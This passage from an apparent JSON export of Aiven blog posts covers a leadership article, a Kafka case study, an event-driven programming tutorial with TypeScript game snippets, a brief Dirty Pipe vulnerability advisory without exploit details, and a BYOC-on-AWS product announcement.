complete a doctorate in adult learning, and his evidence shows that the best forms of training empower people to be at the driver's seat of their own learning.\n\n“I'm a big believer in the 70/20/10 model,” he says. “We know that formalized education accounts for about 10% of how we learn. Coaches, mentors and other relationships account for about 20%. And 70% is around what we do every day, trying out what we learned from these other sources and putting it into practice.”\n\n![Micah Lasseter, Delivery Hero](https://cdn.sanity.io/images/sczeoy4w/production/46969c0ad031b459b2ae43bb24746c748629a56b-1200x628.png)\n\nThis is where technology has a clear role to play. It helps when companies have in place a technology platform that is itself open, accessible and inclusive. For example, one of the advantages of implementing open source software and making it available for everyone to use and collaborate on is that it helps create the learning environment that Lasseter advocates. It’s also a way of opening up access to new technologies so more people can get involved in the development of new — and inclusive — commercial products. \n\n## Inclusive solutions to big challenges\n\nIt could also help to address some of the bigger challenges that we face as a society. \n\nTo give one example, Lasseter is also investigating the use of AI in areas like gamification and simulations of education programs that can bring learning to life. “Going back to the 10/20/70 concept, I think there could be a really interesting role for AI in the hands-on 70% of learning programs. It’s amazing what we can learn about our skills and strengths when simulating a climb up Mount Everest — and it can be a lot more fun and memorable way of learning,” he says. \n\nBut good AI is dependent on good input data. That too has to be representative of a broad user base, and having a broad developer base is one way of achieving that. \n\nAnd then there’s the other big challenge that leaders currently face — improving sustainability and implementing ESG policies that make a real difference. Again for companies like Delivery Hero, it’s getting the right infrastructure and clear leadership. \n\nThe cloud certainly contributes to a more efficient infrastructure than on-premises data centers, for example, and most hyperscalers are working on making them even more efficient. That helps ensure that daily individual actions make a difference – within an organizational framework and expectations set by leaders who understand all aspects of their business’s impact.\n\nThere is a common theme in all these areas. Greater inclusivity, more sustainability and use of open source technologies all present opportunities to connect within and across industries, to find what is working and then build it into the corporate strategy. As Lasseter says: “There has never been a more important time to learn about good leadership and to put it into practice.” \n\nAnd at Aiven, we couldn’t agree more.","categories":[{"_key":"83e8da584608","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"1171a9cde208","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"5d1f6116e71f","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Leader Insights, Agents of Change, Customer Story, Leadership, Learning, Diversity","asset":{"_ref":"image-b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-22T08:27:02.740Z","related":[{"_key":"3db37bc27908","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Delivery Hero: Leadership, Learning \u0026 Diversity | Aiven"},"slug":{"_type":"slug","current":"/blog/micah-lasseter-the-link-between-leadership-learning-and-diversity"},"subtitle":"Discover how Micah Lasseter, Director of Leadership and Management Development at Delivery Hero is creating a link between leadership, learning and diversity.","title":"Micah Lasseter, Delivery Hero: The Link Between Leadership, Learning and Diversity "}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"prVmdI5mrod8V3GrQhEc5","_rev":"uLxsw1wzFtwkvaCA8jv3nS","_type":"post","_updatedAt":"2023-09-18T10:52:56Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"As an online and physical gambling operator in the EU, Paf's data needs are complex. For example, they need to be able to connect their seafaring slot machines, casino games, and online portals with financial and authentication data.\n\nTo handle the complexity, [Paf](https://www.paf.com/) chose Apache Kafka to be used as their loosely-coupled, asynchronous and schema-agnostic messaging solution. With the solution in hand, their next question became, \"Who handles it?\"\n\nSpecifically, _should they build in-house expertise, hire, or look for a managed provider_...to find out more about the circumstances underlying Paf's use case and why they chose [Aiven for Apache Kafka](/kafka), download the case study below!\n\n::banner{ctaText=\"Read case study\" ctaLink=\"/case-studies/aiven-for-apache-kafka-helps-paf\" title=\"Find out more about the circumstances underlying Paf's use case\"}\n\nTo see more case study summaries from other customers such as Priceline and OVO Energy, visit the [Aiven case studies page](/case-studies) page. And don't forget to subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405-png","_type":"reference"}},"publishedAt":"2019-04-02T00:00:00.000Z","seo":{"metaDescription":"Find out why Paf trusts Aiven Kafka to help make sure that their data architecture is open and easily interfaceable.","metaImage":{"alt":"","asset":{"_ref":"image-bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405-png","_type":"reference"}},"metaTitle":"Paf chooses Aiven Kafka to reduce complexity [Case Study]"},"slug":{"_type":"slug","current":"/blog/paf-chooses-aiven-kafka-to-reduce-complexity"},"subtitle":"Find out why Paf trusts Aiven Kafka to help make sure that their data architecture is open and easily interfaceable.","title":"Paf chooses Aiven Kafka to reduce complexity [Case Study]"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"rFKUbQMEQRoLWqF5iZlao","_rev":"kaQ4ZWos4gq6sBfd80EXw3","_type":"post","_updatedAt":"2023-09-27T12:54:28Z","authors":[{"_key":"2uf2XkVvvlliqCRlM44ZIf","_ref":"2uf2XkVvvlliqCRlM44ZIf","_type":"reference"}],"body":"Event-driven programming is a great approach for building complex systems. It embodies the divide-and-conquer principle while allowing you to continue using other approaches like synchronous calls.\n\nWhen discussing event-based systems, several different terms often refer to the same concept. For simplicity, we’ll primarily use the terms listed below in bold:\n\n- __Event__, message, and notification\n- __Producer__, publisher, sender, and event source\n- __Consumer__, receiver, subscriber, handler, and event sink\n- __Message queue__ and event queue\n\n## What is event-driven programming? \nEvent-driven programming, or event-oriented programming, is a paradigm where entities (objects, services, and so on) communicate indirectly by sending messages to one another through an intermediary. The messages are typically stored in a queue before being handled by the consumers.\n\nUnlike in using direct calls, event-driven programming completely decouples the producer from the consumer, leading to some noteworthy benefits. For example, multiple producers and multiple consumers can all collaborate to process incoming requests. Retrying failed operations and maintaining an event history are also simplified. Event-driven programming also makes it easier to scale large systems, adding capacity simply by adding consumers.\n\nLet's look at the actors of event-based systems: events, producers, consumers, and message queues.\n\n\n### What are events?\nEvents are pieces of data that are sent by producers and eventually consumed by consumers.\nFor example, a mouse down event typically contains the following information:\n\n- Mouse pointer coordinates\n- Which mouse buttons are pressed \n\nEvents are usually structured but can sometimes just be blobs of data (such as a chunk of JSON) that consumers should know how to parse and handle.\n### What are producers and consumers?\nProducers are entities that generate events and send them to a message queue. Consumers either subscribe to receive new events or poll periodically from the queue. Key to the event-driven paradigm is this main point: __Producers and consumers are blissfully unaware of one another and interact through the message queue only.__\n\n::banner[Learn the basics of Apache Kafka Producers and Consumers through building an interactive notebook in Python]{ctaText=\"Try it out\" ctaLink=\"https://aiven.io/blog/teach-yourself-apache-kafka-and-python-with-a-jupyter-notebook\" title=\"Learn by building\" background=\"\" theme=\"dark\"}\n\n### What are message queues?\n__Message queues are repositories of messages (events).__ The messages may be stored in memory and/or durable storage. Message queues are typically partitioned into topics. Producers and consumers send and receive messages for particular topics separately.\n\n__A message broker is responsible for making sure messages that are sent to the queue are delivered to all subscribed consumers.__ Some message brokers in popular use today include RabbitMQ, Redis, and Apache Kafka.\n\nConsumers use pull or push mode to consume messages. In pull mode, the message queue keeps all the messages for all the consumers. When a message has been received by all consumers, that message may be removed from the queue (depending on retention configuration). Some message queues allow consumers to pull historical messages.\n\n__In push mode, the message queue pushes any new message to all current subscribers.__\n\n## What makes event-driven programming special?\nLet's explore some of the properties of the event-driven programming paradigm and see what makes it cool—and what makes it tricky. Our focus will be on push-based systems.\n\n### Tightly-coupled versus loosely-coupled workflows\nTraditional call-based workflows are tightly coupled. If object A has some information X that is relevant to object B, then object A needs to satisfy the following requirements to deliver this information successfully to B:\n\n1. It needs to know that B is interested in X\n2. It needs a reference to B\n3. It needs to know about B's interface (for example, a setX() method)\n4. It needs to call B to deliver X\n5. If something goes wrong, then it needs to know what to do (such as retry or raise error)\n\nThat’s a lot of requirements.\n\nTo further complicate matters, consider a system in which B is not the only one that is interested in X. Maybe C and D are also interested in X, and they have different interfaces for receiving X. Now, A needs to get references to C and D, along with their respective interfaces. A also needs to consider what to do in case of partial failure (for example, if B and C received X successfully, but D failed).\n\nNow, let's look at the requirements on object A for a loosely-coupled, event-based system:\n\n1. A sends an event X to the event queue\n\nThat’s it. Now B, C, and D can all subscribe to receive event X—if they are interested. The event framework managing the queue can have policies about error handling and retries, and these can often be specified by consumers.\n\nThe downside of loosely-coupled workflows, however, is that these interested parties are difficult to see in the code or in a call graph and workflow.\n\n### Request-response versus publish-subscribe\nThe request-response approach to communication is typical of traditional web development. For example, a user navigates to a new URL, the browser requests a web page, and the server responds with information. This is a typical pattern of remote procedure call (RPC) systems.\n\nThe publish-subscribe approach (PubSub for short) tackles a different use case: __fire and forget__. The publisher simply publishes an event to the queue without needing any confirmation or response.\n\nBoth approaches have their place. While it is possible to implement asynchronous request-response using events—as we will see later—doing so is cumbersome.\n\n### Synchronous versus asynchronous calls\nSynchronous calls are your garden variety function calls. You call a function with some arguments, and you get the result on the same thread. The thread will be blocked until the function call returns.\n\nAsynchronous calls return immediately and don't wait for the computation to complete. The result will arrive later on a separate thread. Event-based systems that rely on PubSub often use asynchronous calls to receive the events. The consumer subscribes to specific topics or events, and the events are handled in a separate thread.\n\n### Retries and replays\nWhen you make a call to another object or service, there is always the possibility of an error. In general, the caller can take any of several actions:\n\n1. Fail and return an error\n2. Log the failure but keep operating\n3. Fallback to some alternative\n4. Retry\n\nOften, the event framework can be configured to retry sending the events to consumers, making the retry action easy to implement.\n\nHowever, if a consumer receives an event but fails while processing it, there is no direct way to communicate that failure to the producer. Within event-driven architectures and programming, this is a non-issue because the producer is unaware of the consumers and is not responsible for handling their failures.\n\nThe event framework managing the queue can retry several times in case the failure is intermittent. If the failure persists, the event can be stored for later processing and proper error messages can be logged.\n\n### The almighty queue depth\nIn event-based programming, determining the state and performance of the system is very straightforward. If the number of events in your queue—also known as queue depth—grows, then you need more consumers. If your consumers are sitting idle, waiting to process events, then your producers are not sending events.\n\n__You can find issues by checking which queues grow uncontrollably and which queues starve.__ Sometimes, it is more useful to track the age of messages in the queue rather than the number of messages.\n\n### Event delivery options\nIn PubSub systems, there are primarily three different models for delivery: exactly once, at most once, and at least once.\n\n#### Exactly once\nIn this delivery model, __every consumer is guaranteed to receive exactly one copy of every event__. Actually, this model is very difficult to accomplish. When a consumer fails or disconnects from the event queue, it’s often unknown if the consumer received the event (but failed to acknowledge) or if it didn't even receive the event at all. \n\n#### At most once\nHere, __some consumers may not get all events, but they will never get duplicates__. This model is the easiest to implement. Events are just shotgunned out one time to all of the consumers. Either the consumers get the events or they don’t. No retries.\n\n#### At least once\nIn this most common model, __every consumer is guaranteed to receive every event, but some consumers might also get duplicates__. The event framework will retry several times until it gets a confirmation from the consumer. Since duplicate events are possible, the consumer should be idempotent, meaning it can safely process duplicate events.\n\nIn pull-based systems, the consumers are responsible for pulling messages from the queue. If the queue retains historical messages, then consumers can pull messages as many times as they want.\n\n## How does event-based programming work?\nLet's examine an event queue with multiple producers and multiple consumers.\n\n![Intro Event-Driven Programming3](//cdn.sanity.io/images/sczeoy4w/production/71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500.jpg \"Multiple producers, multiple consumer\")\n### Generating events\nThe producers generate events and send them to a specific topic. In the diagram, you can see that we have two producers. Producer 1 sends Event A to Topic 1. Producer 2 sends Events B and C to Topics 2 and 3.\n### Subscribing to events\nEach topic may have a group of subscribers (consumers). This is relevant mostly for PubSub systems. Consumers 1 and 2 subscribe to Topic 1, which creates Group 1 and Group 2 to represent the subscriber list. Consumer 2 also subscribes to Topic 2, which creates Group 3.\n\nWhen Producer 1 sends Event A to Topic 1, Consumers 1 and 2 will receive it through their subscriber groups. When Producer 2 sends Event B to topic 2, Consumer 2 will receive it through Subscriber Group 3.\n\nWhen Producer 2 sends Event C, no consumer will receive it since no consumer has subscribed to it. The event may be discarded, or it may be stored in Topic 3, waiting for consumers to subscribe. \n### Configurable retention\nSome queues immediately dispose of events once they are delivered to all subscribers. Other queues might keep events around. For those queues, it is useful to configure how long to keep events. This can be done based on event age, the number of events in the queue, or the total size of queued events. \n## Event-based patterns\nEvent-based programming opens the door to several interesting and useful patterns.\n### Single producer / single consumer\nThe simplest configuration for events is a single producer and single consumer. In this pattern, the producer and consumer are isolated from one another, free to operate independently.\n### Single producer / multiple consumers\n__A single producer with multiple consumers is useful when *handling* an event takes longer than *generating* an event.__ In this case, multiple consumers can share the load to handle the events together. A load balancer is a good example of this pattern.\n![Intro Event-Driven Programming2](//cdn.sanity.io/images/sczeoy4w/production/85d0e081e657861c94385f0b917c6463af216ac1-2500x2500.jpg \"Single producer, multiple consumers\")\n\n### The dead letter queue (DLQ)\nWhen an event fails to be processed even after several retries, it is common to remove it from the main queue and post it to a dedicated DLQ. Engineers can analyze these events later to determine the root cause.\n\n### Time to live (TTL)\nSystems that generate many events may want to keep a history, but not forever. Generally speaking, the value of data degrades with time. For example, when debugging a production issue, you may want to see the stream of events since the last deployment, but probably not events from five years ago. __A common pattern is to assign a TTL to each stream of events or each topic, and those events will be discarded when their TTL expires.__\n\n### Asynchronous request-response with events\nEvent handlers typically don't return results. In some cases, it is useful to perform a query or an action asynchronously and then get the result later. Polling is common in these situations, but can introduce a lot of overhead.\n\nAn event-based alternative is to establish request topics and response topics. The caller sends a request to the request topic and subscribes to the response topic. When the response is ready, the handler of the original request sends the response to the response topic, and the original caller can process the response.\n\n![Intro Event-Driven Programming](//cdn.sanity.io/images/sczeoy4w/production/6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042.jpg \"Asynchronous request-response with events\")\n\n### Event splitting\nEvent splitting is useful when the same event needs to be handled by multiple entities. This is different from the single producer/multiple consumers pattern, in which one consumer handles each event. For example, consider an event that needs to be processed for storage as well as aggregated for later analytics. One consumer can store the event in the proper data store and another consumer can do the aggregation. This __division of responsibilities is the hallmark of loosely-coupled systems__. The storage code is unaware of the aggregation code even though both operate on the same data.\n## Examples\nThe following examples of event-driven programming are from a blocks puzzle game I developed with my sons. You can find the source code for the project at  [https://github.com/the-gigi/blocktser](https://github.com/the-gigi/blocktser \"Blocktser project page | GitHub\").\n\nBlocktser is a simple game that runs in a browser. It is implemented in TypeScript, the Canvas API, and the [phaser.io](https://phaser.io/) framework. In Blocktser, you drag shapes from the staging area at the bottom and move them around the screen to eventually drop them in the main area. You get points when you complete rows or columns. If you can't place a shape, the game is over.\n\nHere is a screenshot:\n\n![gigi-4](//cdn.sanity.io/images/sczeoy4w/production/22291cbb039c4a932b30cc952331699ac1095271-356x589.png \"The Blocktser game\")\n\n### Subscribing to GameObject events\nThe shapes are Phaser Game objects. Conveniently, Phaser already translates raw Canvas API mouse events to higher-level events.\n\nTo receive and handle events, we need to take several actions. First, we make our shapes draggable by setting the container object to be interactive (setting the mouse cursor) and draggable.\n\n```\nthis._container.setInteractive({ cursor: 'pointer' })\nscene.input.setDraggable(this._container);\n```\n\nThen, we call the scene input object's on method to subscribe to the drag, dragstart, and dragend events. Triggering (producing) the relevant event calls the provided event handling function (the consumer).\n\n```\nscene.input.on('drag', function(pointer, gameObject, dragX, dragY) {\n  self.onDragging(self, pointer, gameObject, dragX, dragY)\n})\n\nscene.input.on('dragstart', function (pointer, gameObject) {\n  self.onDragStart(self, pointer, gameObject)\n})\n\nscene.input.on('dragend', function (pointer, gameObject) {\n  self.onDragEnd(self, pointer, gameObject)\n})\n```\n\n## Handling events\nThe subscription event handlers delegate the actual logic to the onDragging, onDragStart, and onDragEnd methods of the Shape class.\n\nThe Shape's onStartDrag method ignores drag start events on other objects. Then, it performs some logic to scale the shape and update it. (Dragging the shape changes its size.) Finally, it calls onDragStart on a list of dragHandlers. This accomplishes the event splitting pattern we discussed earlier.\n\n```\nonDragStart(shape, pointer, gameObject) {\n  if (shape._container !== gameObject) {\n    return\n  }\n\n  shape._unit *= shape.dragScale\n  shape.updateShape(true)\n  shape.dragHandlers.forEach((h) =\u003e h.onDragStart(shape))\n}\n```\n\nThe Shape's onDragging method is called whenever the mouse is moving during a drag operation. The event handler here updates the shape's position according to the delta since the last position. Then, it invokes the onDragging method of each of the dragHandlers members.\n\n```\nonDragging(shape, pointer, gameObject, dragX, dragY) {\n  if (shape._container !== gameObject) {\n    return\n  }\n  const dx = dragX - gameObject.x\n  const dy = dragY - gameObject.y\n  shape._container.x += dx\n  shape._container.y += dy\n  shape.dragHandlers.forEach((h) =\u003e h.onDragging(shape))\n}\n```\n\nLast but not least is the Shape's onDragEnd method. Here, we see the familiar structure of ignoring the event if it's coming from a different object, then resizing the shape and invoking the drag handlers.\n\n```\nif (shape._container !== gameObject) {\n  return\n}\n\nshape._unit /= shape.dragScale\nshape.updateShape(false)\nshape.dragHandlers.forEach((h) =\u003e h.onDragEnd(shape))\n```\n\n### Transforming events to high-level application events\nThe event handlers we've seen in the previous section were defined by the Phaser framework, and they were in terms of Phaser game objects and their containers. In Blocktser, there is another layer of abstraction that operates in terms of Blocktser shapes. The interfaces.ts file defines the following interfaces:\n\n```\nexport default interface ShapeDragHandler {\n  onDragStart: (shape: Shape) =\u003e void\n  onDragEnd: (shape: Shape) =\u003e void\n  onDragging: (shape: Shape) =\u003e void\n}\n\nexport default interface MainEventHandler {\n  onDrop: (shape: Shape, ok: boolean) =\u003e void\n}\n```\n\nLet's focus on the onDrop event. It is triggered when a shape ends its dragging over the main area. First, the onDragEnd method is called:\n\n```\nonDragEnd(shape: Shape) {\n  this.settleShape(shape)\n  this.destroyPhantom()\n}\n```\n\nThe onDragEnd method calls the settleShape method, which determines whether or not the shape was dropped properly. Then, it calls the onDrop method with either `true` or `false`.\n\n```\nsettleShape(shape: Shape) {\n  // bail out if not on grid\n  if (!this.isOnGrid(shape)) {\n    this.shapeEventHandler.onDrop(shape, false)\n    return\n  }\n\n  // bail out if shape intersects with any occupied cell\n  const [row, col] = this.findGridLocation(shape)\n  if (!this.canShapeSettle(shape, row, col)) {\n    this.shapeEventHandler.onDrop(shape, false)\n    return\n  }\n\n  // Populate cells with the shape's image\n  ...\n\n  this.shapeEventHandler.onDrop(shape, true)\n}\n```\n\nThe [onDrop](https://github.com/the-gigi/blocktser/blob/main/src/scenes/Blocktser.ts#L162) handler operates at a higher abstraction level of the scene, which includes both the main area and the staging area of the game. It understands the meaning of a shape being dropped. If the shape was dropped correctly in the main area, then it takes several actions:\n\n- play sounds\n- update the staging area if needed\n- clear completed rows and/or columns\n- update the score\n- check if the game is over\n\nIf the shape was dropped improperly, then it simply returns to the staging area.\n\nLet's follow the chain of events from the OS level all the way to Blocktser's shape drop event:\n\n- The OS generates a stream of mouse down, mouse up, and mouse move events.\n- The browser intercepts these events and reflects them to Canvas as mouse events.\n- The Phaser framework handles these events and translates them to GameObject drag events.\n- Blocktser handles these events, using the event splitting pattern to send through its own event interfaces to multiple consumers.\n- Finally, Blocktser translates the dragEnd event to a higher-level shape drop event.\n\n## Conclusion\nEvent-based programming is an incredibly useful paradigm, with use cases ranging from UI in a single-process system to communication between services in large-scale distributed systems. The loosely coupled nature of event-based programming provides many benefits, though it may require a shift in how you think about inter-object communication.\n\nWith the trend of software development moving away from monolith applications toward distributed systems and decoupled microservices, an event-driven paradigm for architectures and programming is certainly here to stay. The event queue solution you choose to use—whether that be Kafka or any other message broker—is one that requires wise consideration. At the very least, it’s time to consider whether your fleet of microservices will get a boost by shifting toward the event driven development.\n\n::banner[Try Aiven's fully managed and hosted Apache Kafka® now with a free 30-day trial and $300 credits to play with.]{ctaText=\"Get a free trial\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for a data streaming solution?\" background=\"\" theme=\"dark\"}\n\n__About Gigi Sayfan__\n\nGigi Sayfan is the DevOps team manager at Helix — a bioinformatics and genomics start-up and author of several books and hundreds of technical articles.\n\nGigi has been developing software professionally for more than 20 years in domains as diverse as instant messaging, morphing, multimedia applications for game consoles, brain-inspired machine learning, custom browser development, web services for 3D distributed game platforms, IoT sensors and virtual reality.\n\n[Find out more on Amazon.com](https://www.amazon.com/Gigi-Sayfan/e/B079GQHGKC%3Fref=dbs_a_mng_rwt_scns_share \"Gigi Sayfan on Amazon.com\")!\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630-jpg","_type":"reference"}},"publishedAt":"2022-11-08T09:12:05.766Z","related":[{"_key":"c5d068d67eaa","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"372e212ee094","_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Let's explore event-driven programming: its benefits and shortcomings, how it works, and what useful patterns it brings to the table. With fun examples!","metaImage":{"alt":"","asset":{"_ref":"image-eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630-jpg","_type":"reference"}},"metaTitle":"Introduction to event-based programming"},"slug":{"_type":"slug","current":"/blog/introduction-to-event-based-programming"},"subtitle":"In this article, guest blogger Gigi Sayfan explores event-driven programming: its benefits and shortcomings, how it works, and what useful patterns it brings to the table. We’ll also dive into some fun examples.","title":"Introduction to event-based programming"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"sK8QxQ0nMo1FwKUupORyt","_rev":"cEPH2uRN58AU2lp9QO8Jp3","_type":"post","_updatedAt":"2022-09-08T16:29:55Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"On 7th March 2022, we became aware of [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847 \"CVE-2022-0847 | CVE website\"), also known as \"Dirty Pipe\". This vulnerability allows an unprivileged local user to write to pages in the page cache backed by read-only files. They could use this to increase their access to the system further by enhancing their privileges.\n\n## Current Status\nAn optional maintenance update will be made available to all customers which will patch them against this issue and can be implemented using the normal maintenance application functions already in use. Over the next 30 days, the optional update will be made mandatory and rolled out to all customers.\n\n## Impact on Aiven Services\nThe Aiven platform does not allow direct interaction with the underlying operating system. Additionally, Aiven’s architecture prevents cross-tenant impact from vulnerabilities such as this.\n\nOur product and infrastructure security teams have reviewed our existing mitigations in context with this particular vulnerability. Furthermore, internal monitoring has been extended to help identify any exploitation attempts.\n\n## Further Information\nFor more information about the vulnerability, see [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847 \"CVE-2022-0847 | CVE website\").\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-14T00:00:00.000Z","seo":{"metaDescription":"A vulnerability called \"Dirty Pipe\" (CVE-2022-0847) allows users to increase their access via the page cache. Aiven's CISO writes about our mitigating actions.","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Security updates: Linux® kernel vulnerability"},"slug":{"_type":"slug","current":"/blog/security-updates-linux-kernel-vulnerability"},"subtitle":"A vulnerability called \"Dirty Pipe\" (CVE-2022-0847) allows users to increase their access via the page cache. Aiven's CISO writes about our mitigating actions.","title":"Security updates: Linux® kernel vulnerability"}
{"__i18n_lang":"en","_createdAt":"2024-05-08T13:28:28Z","_id":"f5e9ca98-ba09-40cc-af2d-a435e1584f73","_rev":"T130WEs22RB6SoEkO95sUW","_type":"post","_updatedAt":"2024-11-18T11:29:18Z","authors":[{"_key":"438915f76ee3","_ref":"988a3b7d-5394-4b8f-ac1f-f5927573f1e3","_type":"reference"}],"body":"Aiven’s self-service Bring Your Own Cloud (BYOC) migration workflow for AWS is generally available. Any AWS user can use their own AWS cloud infrastructure and account instead of Aiven’s to run Aiven services while owning the migration process and timeline.\n\n\n## What is Bring Your Own Cloud (BYOC)?\n\nBYOC unlocks the ability to leverage innovative, cloud-native data platforms from specialized third-party partners while optimizing your cloud economics. Engineers can leverage cutting-edge database, data streaming, and analytics technology deployed seamlessly across your chosen cloud infrastructure. At the same time, IT leaders can meet cloud consumption commitments and reduce TCO through discounted pricing models from their cloud providers. You get the best of both worlds - accelerated innovation from an expert partner combined with optimized cloud spend and operational efficiencies delivered by a fully managed data platform. \n\nFor example, if you have a specific database running with a third party, with BYOC, you can bring that exact database into your own cloud account and still have the third party manage it, just as before.\n\nAlso, when considering data infrastructure spanning multiple clouds, the BYOC model can help accelerate an organization to innovate while meeting compliance requirements. Aiven’s data and AI platform BYOC capability lets you leverage the full platform’s ability to have centralized compliance and governance and use its open-source backed technology, all with your choice of cloud provider. \n\n\n## Aiven BYOC and AWS\n\nWhen using Aiven’s BYOC for AWS model, a secure environment is created within the user’s cloud account, with secure Aiven access established through a bastion host and a proxy. This provides builders with more control over infrastructure and networking configurations. With this capability, everyone can have more control over their data, burn down consumption commitments, and further reduce their cloud spend by applying savings plans and reserved instances. Organizations can now start enjoying these benefits of BYOC in under 1 hour, accelerating time to value.\n\nOnce the BYOC environment is created, users can start deploying Aiven services in the BYOC model immediately. Organizations using BYOC with Aiven enjoy the benefits of Aiven’s developer-friendly service, such as 24x7 monitoring and alerting, proactive maintenance and upgrades, and 99.99% availability SLA.\n\nWith the GA release of self-service BYOC on AWS, we’re also introducing support for dynamic disk scaling (DDS), custom service plans, and new migration capabilities from other clouds to Aiven BYOC. \n\n::youtube[AWS BYOC Demo]{#WPh2RsJrptc}\n\n## Dynamic Disk Sizing available for BYOC on AWS\n\nDynamic disk sizing is now available to AWS BYOC users on the Aiven Platform. When your application is very data-heavy, you may want to scale your disk size without scaling your compute resources. That’s where [Dynamic Disk Sizing (DDS)](https://aiven.io/docs/platform/howto/add-storage-space?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform) comes in. You can add up to 5 times your plan’s default disk storage, with pricing displayed in the Aiven Console. This includes increased backup storage for the new disk size.\n \n## Pricing \u0026 Custom Plans\n\nThe BYOC model pricing has two components: infrastructure and Aiven service management. Organizations pay AWS directly for the infrastructure to maintain the BYOC environment and for the infrastructure services used to run their Aiven data services, like Aiven for Apache Kafka® or Aiven for PostgreSQL®. Aiven is paid a monthly management fee for every actively used data service, priced per hour.\n\nCustom service plans can be leveraged for BYOC deployment. Aiven can tailor the standard service plan configurations to fit your exact needs, such as OpenSearch or Kafka clusters with huge CPU and memory demands. The amount of storage, the frequency and number of backups, the number of nodes, and the CPU \u0026 RAM configurations are all customizable variables. Read more about them in the [Aiven Docs](https://aiven.io/docs/platform/howto/custom-plans?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform).\n\nTo start using the self-service BYOC model for AWS, or to learn more about our services, [book a demo](https://aiven.io/book-demo?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform)! You can also check out the [Bring Your Own Cloud](https://aiven.io/docs/platform/concepts/byoc?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform) page or the Aiven Console.\n\n\n","categories":[{"_key":"2ee77ef03f7a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"0272808aff06","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"d636ad3dd3a0","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Orange image with title text of blog","asset":{"_ref":"image-cfbeed6ddf254dce9ac7dffe743b13cff7256fe1-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-09T13:28:00.000Z","related":[{"_key":"9da8ed98eb85","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"1e69d54bbd96","_ref":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_type":"reference"},{"_key":"b57c765c9601","_ref":"a7234f0d-b2b9-4bbe-acbe-2ca4bbef49d9","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Set Up Aiven Services on Your AWS Account with Ease"},"slug":{"_type":"slug","current":"/blog/self-service-byoc-for-aws-now-generally-available"},"subtitle":"Easily set up and run Aiven services in your own AWS account with simplified migrations and expanded flexibility.\n","title":"Fast and Flexible, Self-Service Bring Your Own Cloud (BYOC) for AWS now Generally Available"}
